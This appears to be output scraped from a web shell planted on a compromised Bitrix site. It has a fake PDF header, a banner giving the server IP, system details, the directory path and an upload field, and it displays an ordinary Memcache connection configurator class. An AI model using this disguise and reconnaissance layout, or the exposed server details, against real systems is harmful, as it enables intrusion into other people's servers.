%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.146.34.218 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/data/configurator/ |
Upload File : |
<?php namespace Bitrix\Main\Data\Configurator; use Bitrix\Main\Application; use Bitrix\Main\NotSupportedException; class MemcacheConnectionConfigurator { /** @var array */ protected $config; /** @var array */ protected $servers = []; public function __construct($config) { if (!extension_loaded('memcache')) { throw new NotSupportedException('memcache extension is not loaded.'); } $this->config = $config; $this->addServers($this->getConfig()); } protected function addServers($config) { $servers = $config['servers'] ?? []; if (isset($config['host'], $config['port'])) { array_unshift($servers, [ 'host' => $config['host'], 'port' => $config['port'], ]); } foreach ($servers as $server) { if (!isset($server['weight']) || $server['weight'] <= 0) { $server['weight'] = 1; } $this->servers[] = [ 'host' => $server['host'] ?? 'localhost', 'port' => $server['port'] ?? '11211', 'weight' => $server['weight'], ]; } return $this; } public function getConfig() { return $this->config; } public function createConnection() { if (!$this->servers) { throw new NotSupportedException('Empty server list to redis connection.'); } $connectionTimeout = $this->getConfig()['connectionTimeout'] ?? 1; $connection = new \Memcache(); if (count($this->servers) === 1) { ['host' => $host, 'port' => $port] = $this->servers[0]; $result = $connection->pconnect($host, $port, $connectionTimeout); } else { foreach ($this->servers as $server) { $result = $connection->addServer( $server['host'], $server['port'], true, $server['weight'], $connectionTimeout ); } } if (!$result) { $error = error_get_last(); if (isset($error["type"]) && $error["type"] === E_WARNING) { $exception = new \ErrorException($error['message'], 0, $error['type'], $error['file'], $error['line']); $application = Application::getInstance(); $exceptionHandler = $application->getExceptionHandler(); $exceptionHandler->writeToLog($exception); } } return $result? $connection : null; } }